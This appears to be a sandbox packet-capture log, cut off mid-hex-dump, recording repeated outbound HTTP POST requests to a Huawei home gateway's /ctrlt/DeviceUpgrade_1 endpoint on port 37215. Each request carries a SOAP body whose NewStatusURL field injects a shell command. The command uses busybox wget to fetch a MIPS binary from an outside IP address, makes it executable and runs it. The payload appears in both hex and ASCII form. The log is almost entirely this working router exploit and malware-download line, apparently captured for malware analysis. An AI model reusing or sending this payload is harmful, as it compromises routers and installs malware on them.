Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	53654	156.241.97.151	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:16.589230061 CET	923	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:18.568475008 CET	978	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.935970068 CET	1036	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:25.799243927 CET	1175	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:35.270015955 CET	1426	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.747184992 CET	1988	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:34.653779984 CET	3064	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	156.241.97.151	37215	192.168.2.23	53654

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:16.589230061 CET	923	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:18.568475008 CET	978	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.935970068 CET	1036	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 